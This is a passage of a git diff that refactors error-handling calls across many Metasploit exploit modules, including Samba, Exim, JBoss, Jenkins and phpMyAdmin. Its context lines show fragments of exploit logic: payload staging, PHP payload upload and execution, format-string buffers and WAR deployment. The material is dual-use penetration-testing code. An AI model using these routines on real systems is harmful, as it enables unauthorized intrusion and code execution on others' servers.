b/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb @@ -344,7 +344,7 @@ def create_beacon #puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',') if (len == 24 and value.length != 198) - fail_with(Exploit::Failure::BadConfig, "Value is too big! #{value.length}") + fail_with(Failure::BadConfig, "Value is too big! #{value.length}") end buf = "\xdd" + value.length.chr + value diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb index 232dda875cd2a..bea8a82f1a654 100644 --- a/modules/exploits/linux/misc/mongod_native_helper.rb +++ b/modules/exploits/linux/misc/mongod_native_helper.rb @@ -85,11 +85,11 @@ def exploit print_status("Mongo server #{datastore['RHOST']} use authentication...") if !datastore['USERNAME'] || !datastore['PASSWORD'] disconnect - fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided") + fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided") end if do_login==0 disconnect - fail_with(Exploit::Failure::NoAccess, "Authentication failed") + fail_with(Failure::NoAccess, "Authentication failed") end else print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") @@ -101,7 +101,7 @@ def exploit collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') if read_only?(collection) disconnect - fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection") + fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection") else print_good("New document created in collection #{collection}") end @@ -172,7 +172,7 @@ def exploit disconnect rescue ::Exception => e - fail_with(Exploit::Failure::Unreachable, "Unable to connect") + fail_with(Failure::Unreachable, "Unable to connect") end end diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index 7729ab3a682fa..11ee0b4695cab 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -101,7 +101,7 @@ def setup def exploit if check != Exploit::CheckCode::Vulnerable - fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections") + fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections") end stage = "setsid nohup #{payload.encoded} & " diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index 36b0020b425d4..a6c36256acbba 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -97,7 +97,7 @@ def exploit if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type # res[15,1] => Connection Status - fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed") + fail_with(Failure::UnexpectedReply, "Service Connection failed") end print_good("Service Connection successful") diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb index 9735c192348b9..41566aa9819b8 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb @@ -85,7 +85,7 @@ def exploit if (buf = sock.get_once(-1, 5) || '') #print_status("\n" + Rex::Text.to_hex_dump(buf)) if (buf =~ /is not allowed to connect/) - fail_with(Exploit::Failure::Unreachable, 'The server refused our connection!') + fail_with(Failure::Unreachable, 'The server refused our connection!') end len1,cmd = buf[0,5].unpack('VC') @@ -109,7 +109,7 @@ def exploit } if (not mytarget) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect target automatically') + fail_with(Failure::NoTarget, 'Unable to detect target automatically') else print_status("Using automatically detected target: #{mytarget.name}") end diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index bd903892bf886..ac0ae34fa4dda 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -234,7 +234,7 @@ def brute_exploit(target_addrs) if ! @checked_peerlm if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i - fail_with(Exploit::Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})") + fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})") end end diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 5ed46e581cc7d..93cdb03965a91 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -82,11 +82,11 @@ def brute_exploit(addrs) if ! @checked_peerlm if smb_peer_lm !~ /samba/i - fail_with(Exploit::Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}") + fail_with(Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}") end if smb_peer_lm =~ /Samba [34]\./i - fail_with(Exploit::Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})") + fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})") end end diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index 3ff0bac779bcd..34230430c7e17 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -75,7 +75,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end @@ -108,7 +108,7 @@ def exploit # Needs to be on the port 80 if datastore['SRVPORT'].to_i != 80 - fail_with(Exploit::Failure::Unknown, 'The Web Server needs to live on SRVPORT=80') + fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80') end #do not use SSL @@ -144,7 +144,7 @@ def exploit print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}") if self.banner.to_s !~ /Exim / disconnect - fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!") + fail_with(Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!") end ehlo = datastore['EHLO'] @@ -168,7 +168,7 @@ def exploit resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}") else print_status("#{rhost}:#{rport} - #{msg}") end @@ -177,7 +177,7 @@ def exploit resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}") else print_status("#{rhost}:#{rport} - #{msg}") end @@ -186,7 +186,7 @@ def exploit resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}") else print_status("#{rhost}:#{rport} - #{msg}") end @@ -198,7 +198,7 @@ def exploit resp = raw_send_recv(message) msg = "DELIVER: #{resp.strip}" if not resp or resp[0,3] != '250' - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}") else print_status("#{rhost}:#{rport} - #{msg}") end diff --git a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb index 6900ed129ae25..ebcdbf7515e44 100644 --- a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb @@ -87,7 +87,7 @@ def exploit_target(t) loop do data = sock.get_once(-1, 5) rescue nil if not data - fail_with(Exploit::Failure::Unknown, "This system does not support encryption") + fail_with(Failure::Unknown, "This system does not support encryption") end break if data.index("\xff\xfa\x26\x02\x01") end diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index dc01bdc41aa3f..26586176005e7 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -157,7 +157,7 @@ def load_applet_class data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname) if datastore["APPLETNAME"] unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/ - fail_with(Exploit::Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)") + fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)") end siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) } # Java strings are prefixed with a 2-byte, big endian length diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index b0335b8fd0e9e..47b0443053792 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -140,7 +140,7 @@ def check def exploit if (not connect_login) - fail_with(Exploit::Failure::Unknown, 'Unable to authenticate') + fail_with(Failure::Unknown, 'Unable to authenticate') end # Use a copy of the target @@ -154,7 +154,7 @@ def exploit print_status("FTP Banner: #{banner.strip}") version = m[1] else - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end regexp = Regexp.escape(version) @@ -166,7 +166,7 @@ def exploit end if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end print_status("Selected Target: #{mytarget.name}") @@ -198,7 +198,7 @@ def exploit # detect the number of pad bytes idx = stack_data.index("aaaabbbb") if not idx - fail_with(Exploit::Failure::Unknown, "Whoa, didn't find the static bytes on the stack!") + fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!") end num_pad = 0 num_pad = 4 - (idx % 4) if (idx % 4) > 0 @@ -258,7 +258,7 @@ def exploit fmtbuf.gsub!(/\xff/, "\xff\xff") if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true))) if res[0,4] == "500 " - fail_with(Exploit::Failure::Unknown, "Something went wrong when uploading the payload...") + fail_with(Failure::Unknown, "Something went wrong when uploading the payload...") end end end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 219badde61e62..59bcaa3364d2c 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -47,7 +47,7 @@ def initialize(info = {}) def exploit if not datastore['ExitOnSession'] and not job_id - fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)") + fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)") end stime = Time.now.to_f diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index 04bc6c7423c12..8fad41aa05266 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -148,7 +148,7 @@ def exploit if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/ print_status("#{@peer} - Authenticated successfully") else - fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") + fail_with(Failure::NoAccess, "#{@peer} - Authentication failed") end # search for writable directories @@ -161,7 +161,7 @@ def exploit 'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root", }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/ dir = "#{base}#{$1}" @@ -179,10 +179,10 @@ def exploit if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/ print_good("#{@peer} - File uploaded successfully") else - fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") + fail_with(Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end # search directories in the web root for the file @@ -195,7 +195,7 @@ def exploit 'cookie' => datastore['COOKIE'], }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/ dir = $1.gsub('\\','') @@ -212,7 +212,7 @@ def exploit 'uri' => "/#{dir}/#{@fname}" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code != 200 print_error("#{@peer} - Executing payload failed") diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index d511f81b1157d..0551a6dbb62f2 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -604,9 +604,9 @@ def upload_exec(session, app_base, jsp_name, target, war, edition, version) print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) if (not viewstate) - fail_with(Exploit::Failure::Unknown, "Unable to get viewstate") + fail_with(Failure::Unknown, "Unable to get viewstate") elsif (not entry) - fail_with(Exploit::Failure::Unknown, "Unable to get entry") + fail_with(Failure::Unknown, "Unable to get entry") end print_status("Undeploying #{app_base}...") @@ -802,7 +802,7 @@ def exploit #Set target mytarget = target mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/ - fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") if (not mytarget) + fail_with(Failure::NoTarget, "Unable to automatically select a target") if (not mytarget) #Generate payload p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index f703cd4b19a94..bf7f610e728cd 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -139,7 +139,7 @@ def exploit sid = "#{$2}" print_good("#{@peer} - Authenticated successfully") else - fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") + fail_with(Failure::NoAccess, "#{@peer} - Authentication failed") end # upload PHP payload @@ -150,10 +150,10 @@ def exploit if res and res.code == 301 and res['location'] =~ /Setting saved/ print_good("#{@peer} - File uploaded successfully") else - fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") + fail_with(Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end # retrieve PHP file path @@ -165,14 +165,14 @@ def exploit 'cookie' => "sid#{token}=#{sid}" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/ shell_uri = "#{$1}" @fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)') print_good("#{@peer} - Found payload file path (#{shell_uri})") else - fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path") + fail_with(Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path") end # retrieve and execute PHP payload @@ -183,10 +183,10 @@ def exploit 'uri' => normalize_uri(base, shell_uri), }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end if !res or res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed") + fail_with(Failure::UnexpectedReply, "#{@peer} - Executing payload failed") end end end diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index bbc06d1ec3c3f..63aad07ea9def 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -80,7 +80,7 @@ def exploit }) #default timeout, we don't care about the response if not res - fail_with(Exploit::Failure::NotFound, 'The server did not respond to our request') + fail_with(Failure::NotFound, 'The server did not respond to our request') end resp = res.body.split(key) diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 38309375e8397..ebdebc57a2c95 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -115,7 +115,7 @@ def login }) if not res - fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login") + fail_with(Failure::Unknown, "#{peer} - Connection timed out during login") end # CpqElm-Login: success @@ -166,7 +166,7 @@ def execute_command(cmd, opts={}) res = send_command(cmd) if res && res.code != 200 vprint_error("Unexpected response:\n#{res}") - fail_with(Exploit::Failure::Unknown, "There was an unexpected response") + fail_with(Failure::Unknown, "There was an unexpected response") end end @@ -175,7 +175,7 @@ def send_command(cmd) if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty? @cookie = login if @cookie.empty? - fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") + fail_with(Failure::NoAccess, "#{peer} - Login failed") else print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") end diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 336006ccea28b..7d48ae13b5ef2 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -142,7 +142,7 @@ def exploit if (target.name =~ /Automatic/) mytarget = auto_target() if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") + fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") else @@ -294,18 +294,18 @@ def deploy_bsh(bsh_script) print_status("Attempting to use '#{p}' as package") res = invoke_bshscript(bsh_script, p) if !res - fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR [No Response]") + fail_with(Failure::Unknown, "Unable to deploy WAR [No Response]") end if (res.code < 200 || res.code >= 300) case res.code when 401 print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") - fail_with(Exploit::Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") + fail_with(Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end print_error("Upload to deploy WAR [#{res.code} #{res.message}]") - fail_with(Exploit::Failure::Unknown, "Invalid reply: #{res.code} #{res.message}") + fail_with(Failure::Unknown, "Invalid reply: #{res.code} #{res.message}") else success = true @pkg = p @@ -314,7 +314,7 @@ def deploy_bsh(bsh_script) end if not success - fail_with(Exploit::Failure::Unknown, "Failed to deploy the WAR payload") + fail_with(Failure::Unknown, "Failed to deploy the WAR payload") end end @@ -372,11 +372,11 @@ def auto_target print_status("Attempting to automatically select a target...") res = query_serverinfo if not (plat = detect_platform(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') + fail_with(Failure::NoTarget, 'Unable to detect platform!') end if not (arch = detect_architecture(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') + fail_with(Failure::NoTarget, 'Unable to detect architecture!') end # see if we have a match diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 84493b560093e..c589237d17d5e 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -111,7 +111,7 @@ def exploit if (target.name =~ /Automatic/) mytarget = auto_target() if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") + fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") else @@ -360,11 +360,11 @@ def auto_target print_status("Attempting to automatically select a target...") res = query_serverinfo if not (plat = detect_platform(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') + fail_with(Failure::NoTarget, 'Unable to detect platform!') end if not (arch = detect_architecture(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') + fail_with(Failure::NoTarget, 'Unable to detect architecture!') end # see if we have a match diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 32c8470de4d76..e05b26df634e1 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -105,11 +105,11 @@ def auto_target print_status("Attempting to automatically select a target...") res = query_serverinfo if not (plat = detect_platform(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') + fail_with(Failure::NoTarget, 'Unable to detect platform!') end if not (arch = detect_architecture(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') + fail_with(Failure::NoTarget, 'Unable to detect architecture!') end # see if we have a match @@ -130,7 +130,7 @@ def exploit if (target.name =~ /Automatic/) mytarget = auto_target() if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") + fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") else @@ -198,14 +198,14 @@ def exploit }, 30) end if (! res) - fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]") + fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]") end if (res.code < 200 or res.code >= 300) case res.code when 401 print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end - fail_with(Exploit::Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]") + fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]") end # wait for the data to be sent @@ -215,7 +215,7 @@ def exploit select(nil, nil, nil, 1) waited += 1 if (waited > 30) - fail_with(Exploit::Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?') + fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?') end end diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 11571e816a05f..0b835c5977d4e 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -83,7 +83,7 @@ def http_send_command(cmd, opts = {}) request_parameters['cookie'] = @cookie if @cookie != nil res = send_request_cgi(request_parameters) if not (res and res.code == 200) - fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') + fail_with(Failure::Unknown, 'Failed to execute the command.') end end @@ -143,7 +143,7 @@ def exploit @uri.path << "/" if @uri.path[-1, 1] != "/" print_status('Checking access to the script console') res = send_request_cgi({'uri' => "#{@uri.path}script"}) - fail_with(Exploit::Failure::Unknown) if not res + fail_with(Failure::Unknown) if not res @cookie = nil if res.code != 200 @@ -160,7 +160,7 @@ def exploit }) if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ - fail_with(Exploit::Failure::NoAccess, 'login failed') + fail_with(Failure::NoAccess, 'login failed') end sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0] @cookie = "#{sessionid}" diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 396555177a182..88a6cc89e8b2f 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -114,10 +114,10 @@ def exploit if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/ print_good("#{@peer} - File uploaded successfully") else - fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") + fail_with(Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end # retrieve and execute PHP payload @@ -128,7 +128,7 @@ def exploit 'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end end diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 25777503693d2..cb7e59daa2e33 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -148,7 +148,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end @@ -203,7 +203,7 @@ def exploit print_good("#{peer} - Login successful") session = $1 else - fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny") + fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny") end print_status("#{peer} - Leaking current Network Information...") diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 470273cbfe300..71f8d06a20dc3 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -105,9 +105,9 @@ def http_send_command(command) }) if res and res.body =~ /401 Authorization failed/ - fail_with(Exploit::Failure::NoAccess, "Unable to log in!") + fail_with(Failure::NoAccess, "Unable to log in!") elsif not (res and res.code == 200) - fail_with(Exploit::Failure::Unknown, 'Failed to execute command.') + fail_with(Failure::Unknown, 'Failed to execute command.') end end diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index b1e581c105f95..7654c0ee89560 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -117,11 +117,11 @@ def exploit print_status("Grabbing CSRF token...") response = send_request_cgi({ 'uri' => uri}) if response.nil? - fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.") + fail_with(Failure::NotFound, "Failed to retrieve webpage.") end if (response.body !~ /"token"\s*value="([^"]*)"/) - fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?") + fail_with(Failure::NotFound, "Couldn't find token. Is URI set correctly?") else print_good("Retrieved token") end @@ -142,7 +142,7 @@ def exploit }) if login.nil? - fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.") + fail_with(Failure::NotFound, "Failed to retrieve webpage.") end token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first @@ -156,7 +156,7 @@ def exploit }) if login_check.body =~ /Welcome to/ - fail_with(Exploit::Failure::NoAccess, "Authentication failed.") + fail_with(Failure::NoAccess, "Authentication failed.") else print_good("Authentication successful") end diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index b91f26a193abf..70be665aff148 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -90,7 +90,7 @@ def exploit 'data' => post_data }) if not res or res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end upload_uri = "#{upload_dir}#{@payload_name}" diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 0b4679a410f9b..461d6dd57fc31 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -250,16 +250,16 @@ def exploit if check_secret(match[2],match[3]) print_good("SECRET matches! Sending exploit payload") else - fail_with(Exploit::Failure::BadConfig, "SECRET does not match") + fail_with(Failure::BadConfig, "SECRET does not match") end else print_warning("Caution: Cookie not found, maybe you need to adjust 